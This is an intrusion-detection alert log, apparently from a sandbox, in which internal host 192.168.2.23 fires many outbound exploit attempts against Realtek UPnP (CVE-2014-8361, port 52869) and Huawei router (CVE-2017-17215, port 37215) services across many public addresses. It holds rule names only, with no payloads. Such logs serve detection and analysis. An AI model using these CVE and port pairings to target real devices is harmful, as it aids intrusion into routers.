07/20/24-23:01:42.151857	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42232	52869	192.168.2.23	184.50.158.70
07/20/24-23:01:45.967403	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46110	52869	192.168.2.23	8.220.8.58
07/20/24-23:01:44.868029	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39320	52869	192.168.2.23	24.28.111.138
07/20/24-23:01:08.652877	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49584	52869	192.168.2.23	93.10.103.253
07/20/24-23:01:32.039718	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33136	37215	192.168.2.23	41.217.132.133
07/20/24-23:01:42.718842	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57316	52869	192.168.2.23	193.184.52.222
07/20/24-23:01:47.047497	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32834	52869	192.168.2.23	112.206.146.120
07/20/24-23:00:59.168569	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35840	37215	192.168.2.23	72.48.156.196
07/20/24-23:01:27.723651	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52594	37215	192.168.2.23	157.31.74.199
07/20/24-23:01:44.320661	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53926	52869	192.168.2.23	91.202.203.164
07/20/24-23:01:08.679677	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56988	52869	192.168.2.23	105.183.167.212
07/20/24-23:01:45.603921	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42704	52869	192.168.2.23	201.180.13.92
07/20/24-23:01:53.524925	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59212	52869	192.168.2.23	209.44.4.130
07/20/24-23:01:04.987638	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44574	52869	192.168.2.23	216.207.228.137
07/20/24-23:01:11.642449	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55946	37215	192.168.2.23	41.208.78.115
07/20/24-23:01:21.952783	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55262	37215	192.168.2.23	197.13.253.64
07/20/24-23:01:24.126316	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38786	52869	192.168.2.23	184.74.79.160
07/20/24-23:01:12.841280	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46040	52869	192.168.2.23	143.147.165.127
07/20/24-23:01:41.286262	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34938	52869	192.168.2.23	222.131.76.141
07/20/24-23:01:11.820149	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60704	37215	192.168.2.23	184.144.178.174
07/20/24-23:01:27.655551	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37006	37215	192.168.2.23	36.6.60.249
07/20/24-23:01:24.915904	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48890	37215	192.168.2.23	196.254.2.2
07/20/24-23:01:53.041672	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41128	52869	192.168.2.23	115.138.89.148
07/20/24-23:01:46.143923	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44316	52869	192.168.2.23	64.151.112.79
07/20/24-23:01:49.207937	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38140	52869	192.168.2.23	91.195.20.9
07/20/24-23:01:27.656128	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41372	37215	192.168.2.23	197.71.44.74
07/20/24-23:01:11.820979	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40132	37215	192.168.2.23	85.72.21.57
07/20/24-23:01:40.322860	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37002	37215	192.168.2.23	197.197.135.105
07/20/24-23:01:02.444710	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50442	52869	192.168.2.23	4.194.116.48
07/20/24-23:01:08.609855	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45964	52869	192.168.2.23	168.54.72.251
07/20/24-23:01:27.655551	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48700	37215	192.168.2.23	197.225.101.65
07/20/24-23:01:58.249042	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53186	52869	192.168.2.23	73.13.167.32
07/20/24-23:01:00.640312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48356	37215	192.168.2.23	41.156.85.195
07/20/24-23:01:31.313163	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53996	52869	192.168.2.23	23.131.141.174
07/20/24-23:01:47.709674	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36216	52869	192.168.2.23	147.65.114.30
07/20/24-23:01:42.244235	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36306	52869	192.168.2.23	111.252.176.80
07/20/24-23:01:45.078337	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40646	52869	192.168.2.23	75.147.225.215
07/20/24-23:01:43.324295	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39042	52869	192.168.2.23	145.21.134.81
07/20/24-23:01:00.639011	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42978	37215	192.168.2.23	206.176.8.137
07/20/24-23:01:43.874055	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33176	52869	192.168.2.23	36.71.23.107
07/20/24-23:01:43.978983	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59718	52869	192.168.2.23	32.189.144.58
07/20/24-23:01:44.663524	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47332	52869	192.168.2.23	132.102.241.51
07/20/24-23:01:46.387777	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60138	52869	192.168.2.23	57.145.129.242
07/20/24-23:01:58.031141	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48568	52869	192.168.2.23	208.24.236.236
07/20/24-23:02:07.969418	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38164	52869	192.168.2.23	133.134.189.40
07/20/24-23:01:09.021221	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49184	52869	192.168.2.23	44.188.193.15
07/20/24-23:00:59.172943	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56586	37215	192.168.2.23	41.244.190.175
07/20/24-23:01:08.600680	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60816	52869	192.168.2.23	37.189.124.248
07/20/24-23:00:57.222163	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44174	37215	192.168.2.23	197.38.235.14
07/20/24-23:01:53.372532	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52392	52869	192.168.2.23	109.249.3.178
07/20/24-23:02:05.547419	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39674	52869	192.168.2.23	59.51.41.229
07/20/24-23:01:58.093784	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40746	52869	192.168.2.23	151.217.152.189
07/20/24-23:01:43.091220	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56428	52869	192.168.2.23	133.252.225.26
07/20/24-23:01:27.658221	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54958	37215	192.168.2.23	197.127.76.103
07/20/24-23:01:48.317366	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51816	52869	192.168.2.23	34.173.234.248
07/20/24-23:01:34.044223	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50906	37215	192.168.2.23	203.177.111.61
07/20/24-23:01:20.140632	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49352	37215	192.168.2.23	41.203.231.160
07/20/24-23:01:40.291616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48096	37215	192.168.2.23	213.187.250.71
07/20/24-23:01:02.054387	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41240	37215	192.168.2.23	198.107.98.141
07/20/24-23:01:46.983381	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41326	52869	192.168.2.23	37.20.218.143
07/20/24-23:01:04.058922	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48120	37215	192.168.2.23	157.46.25.223
07/20/24-23:01:50.951743	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42826	52869	192.168.2.23	198.167.255.95
07/20/24-23:01:13.589327	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43516	52869	192.168.2.23	51.20.137.216
07/20/24-23:01:31.983105	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45186	37215	192.168.2.23	41.118.52.116
07/20/24-23:00:57.222139	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50028	37215	192.168.2.23	27.41.96.136
07/20/24-23:01:02.076414	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50714	37215	192.168.2.23	197.150.190.33
07/20/24-23:01:08.606848	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39260	52869	192.168.2.23	77.76.243.3
07/20/24-23:01:31.974580	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48674	37215	192.168.2.23	167.62.210.191
07/20/24-23:01:32.027082	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41772	37215	192.168.2.23	212.103.196.38
07/20/24-23:01:14.105395	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42942	37215	192.168.2.23	41.69.181.229
07/20/24-23:01:26.023836	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43992	52869	192.168.2.23	36.230.221.168
07/20/24-23:01:31.991336	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58400	37215	192.168.2.23	197.117.206.14
07/20/24-23:01:42.790680	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54812	52869	192.168.2.23	188.20.150.72
07/20/24-23:01:41.349768	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56034	52869	192.168.2.23	1.167.45.35
07/20/24-23:01:07.054782	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46900	37215	192.168.2.23	41.0.81.109
07/20/24-23:01:44.389834	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58038	52869	192.168.2.23	129.65.153.68
07/20/24-23:00:59.148144	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60312	37215	192.168.2.23	41.73.125.205
07/20/24-23:01:43.636703	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37804	52869	192.168.2.23	71.221.213.203
07/20/24-23:01:44.728463	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52602	52869	192.168.2.23	204.16.50.125
07/20/24-23:01:41.919931	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32798	52869	192.168.2.23	147.68.197.111
07/20/24-23:01:52.684130	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44022	52869	192.168.2.23	2.109.1.91
07/20/24-23:01:43.978984	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56542	52869	192.168.2.23	126.192.25.7
07/20/24-23:01:21.915268	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40924	37215	192.168.2.23	197.95.96.216
07/20/24-23:01:34.043842	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51620	37215	192.168.2.23	197.168.204.140
07/20/24-23:01:48.181097	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34490	52869	192.168.2.23	137.66.212.197
07/20/24-23:01:04.097857	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55782	37215	192.168.2.23	157.200.219.60
07/20/24-23:01:08.571946	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46826	52869	192.168.2.23	82.63.31.170
07/20/24-23:02:04.208558	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55192	52869	192.168.2.23	113.102.84.222
07/20/24-23:01:41.360712	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37410	52869	192.168.2.23	47.35.34.220
07/20/24-23:01:52.609463	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57762	52869	192.168.2.23	173.172.122.41
07/20/24-23:01:44.082683	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49892	52869	192.168.2.23	79.95.218.159
07/20/24-23:01:42.042815	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54570	52869	192.168.2.23	49.137.23.5
07/20/24-23:01:00.639012	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35120	37215	192.168.2.23	197.173.93.85
07/20/24-23:01:31.312614	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49448	52869	192.168.2.23	114.247.247.18
07/20/24-23:01:53.353271	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59452	52869	192.168.2.23	179.153.61.251
07/20/24-23:01:25.509340	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56156	52869	192.168.2.23	40.231.162.161
07/20/24-23:01:04.058922	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42978	37215	192.168.2.23	197.13.249.251
07/20/24-23:01:02.085856	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56566	52869	192.168.2.23	113.34.69.120
07/20/24-23:01:24.929013	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50676	37215	192.168.2.23	157.51.204.149
07/20/24-23:01:25.526897	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48868	52869	192.168.2.23	116.88.149.60
07/20/24-23:01:43.085956	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57422	52869	192.168.2.23	104.39.87.115
07/20/24-23:01:04.098909	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36510	37215	192.168.2.23	157.104.12.239
07/20/24-23:01:44.446628	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58682	52869	192.168.2.23	32.189.144.58
07/20/24-23:01:42.637859	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39736	52869	192.168.2.23	58.25.190.68
07/20/24-23:01:42.709583	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48606	52869	192.168.2.23	155.110.172.241
07/20/24-23:01:11.632393	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51772	37215	192.168.2.23	204.214.250.6
07/20/24-23:01:47.749865	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33484	52869	192.168.2.23	81.110.138.235
07/20/24-23:02:05.636717	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34174	52869	192.168.2.23	99.148.114.78
07/20/24-23:01:20.144672	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60704	37215	192.168.2.23	157.149.181.67
07/20/24-23:01:44.971718	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52574	52869	192.168.2.23	210.173.156.193
07/20/24-23:02:10.031806	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43076	52869	192.168.2.23	64.169.37.205
07/20/24-23:01:02.259207	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55498	52869	192.168.2.23	191.173.38.241
07/20/24-23:01:41.637960	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55360	52869	192.168.2.23	80.104.187.148
07/20/24-23:01:42.145997	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58762	52869	192.168.2.23	104.27.90.68
07/20/24-23:02:00.413915	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38334	52869	192.168.2.23	48.17.76.254
07/20/24-23:01:42.159489	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52240	52869	192.168.2.23	43.168.154.99
07/20/24-23:01:26.010869	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55142	52869	192.168.2.23	221.42.114.149
07/20/24-23:02:02.632381	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43208	52869	192.168.2.23	88.40.199.176
07/20/24-23:00:57.222128	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38764	37215	192.168.2.23	60.176.144.80
07/20/24-23:01:48.701127	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52112	52869	192.168.2.23	174.95.107.188
07/20/24-23:01:20.131339	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43742	37215	192.168.2.23	41.45.176.207
07/20/24-23:01:08.607816	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48736	52869	192.168.2.23	64.86.139.164
07/20/24-23:01:04.118165	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39384	37215	192.168.2.23	197.59.190.80
07/20/24-23:01:44.139692	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58250	52869	192.168.2.23	157.142.102.71
07/20/24-23:01:53.387026	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34730	52869	192.168.2.23	37.133.189.92
07/20/24-23:01:21.915268	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42074	37215	192.168.2.23	197.207.172.207
07/20/24-23:01:24.575344	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48332	52869	192.168.2.23	166.142.205.252
07/20/24-23:01:20.157619	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41878	37215	192.168.2.23	197.24.162.140
07/20/24-23:01:42.854322	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46292	52869	192.168.2.23	132.102.241.51
07/20/24-23:01:48.216693	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60934	52869	192.168.2.23	133.159.36.252
07/20/24-23:01:00.633295	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37926	37215	192.168.2.23	157.32.103.4
07/20/24-23:02:53.715694	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33080	52869	192.168.2.23	209.124.7.215
07/20/24-23:01:14.013039	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46716	37215	192.168.2.23	197.122.119.125
07/20/24-23:01:52.904266	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35818	52869	192.168.2.23	19.191.190.54
07/20/24-23:01:51.086033	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59968	52869	192.168.2.23	106.9.90.86
07/20/24-23:01:44.209629	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55768	52869	192.168.2.23	117.174.229.249
07/20/24-23:01:08.560530	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43976	52869	192.168.2.23	157.99.82.194
07/20/24-23:01:03.975418	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41700	37215	192.168.2.23	41.142.6.246
07/20/24-23:01:07.016889	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40534	37215	192.168.2.23	157.126.215.99
07/20/24-23:01:47.856443	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44526	52869	192.168.2.23	201.73.178.106
07/20/24-23:01:06.988055	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51074	37215	192.168.2.23	197.247.144.22
07/20/24-23:01:21.952782	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55492	37215	192.168.2.23	41.44.152.150
07/20/24-23:01:43.622289	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42376	52869	192.168.2.23	75.212.169.191
07/20/24-23:01:44.520254	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59858	52869	192.168.2.23	38.85.208.126
07/20/24-23:01:43.141970	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56970	52869	192.168.2.23	203.253.92.60
07/20/24-23:01:46.340763	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40722	52869	192.168.2.23	63.243.31.167
07/20/24-23:01:08.607816	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33276	52869	192.168.2.23	34.184.40.220
07/20/24-23:01:41.467111	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55928	52869	192.168.2.23	201.170.107.7
07/20/24-23:01:42.033190	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48642	52869	192.168.2.23	164.216.180.24
07/20/24-23:01:47.248064	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51126	52869	192.168.2.23	182.240.112.154
07/20/24-23:01:57.757934	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47594	52869	192.168.2.23	208.150.189.204
07/20/24-23:01:41.392527	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56686	52869	192.168.2.23	9.196.233.159
07/20/24-23:01:46.893328	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47168	52869	192.168.2.23	98.147.36.143
07/20/24-23:01:56.270914	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54396	52869	192.168.2.23	171.38.97.128
07/20/24-23:01:04.187171	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59650	52869	192.168.2.23	57.179.102.199
07/20/24-23:00:57.221646	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57502	37215	192.168.2.23	157.189.184.171
07/20/24-23:01:11.816521	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52566	37215	192.168.2.23	197.88.172.221
07/20/24-23:01:50.257796	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39230	52869	192.168.2.23	173.68.146.233
07/20/24-23:01:56.828807	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46608	52869	192.168.2.23	43.127.30.131
07/20/24-23:01:12.807585	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42662	52869	192.168.2.23	181.43.61.4
07/20/24-23:01:14.100332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46206	37215	192.168.2.23	199.196.42.92
07/20/24-23:01:25.288927	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51686	52869	192.168.2.23	70.161.8.187
07/20/24-23:01:55.428221	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55450	52869	192.168.2.23	180.191.130.65
07/20/24-23:01:31.329969	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59718	52869	192.168.2.23	36.125.123.117
07/20/24-23:01:43.260197	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42514	52869	192.168.2.23	64.107.44.177
07/20/24-23:01:34.048825	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56284	37215	192.168.2.23	197.81.234.224
07/20/24-23:01:53.199976	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48278	52869	192.168.2.23	89.25.147.2
07/20/24-23:01:43.260197	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45464	52869	192.168.2.23	146.167.250.116
07/20/24-23:01:02.066908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45804	37215	192.168.2.23	197.158.29.84
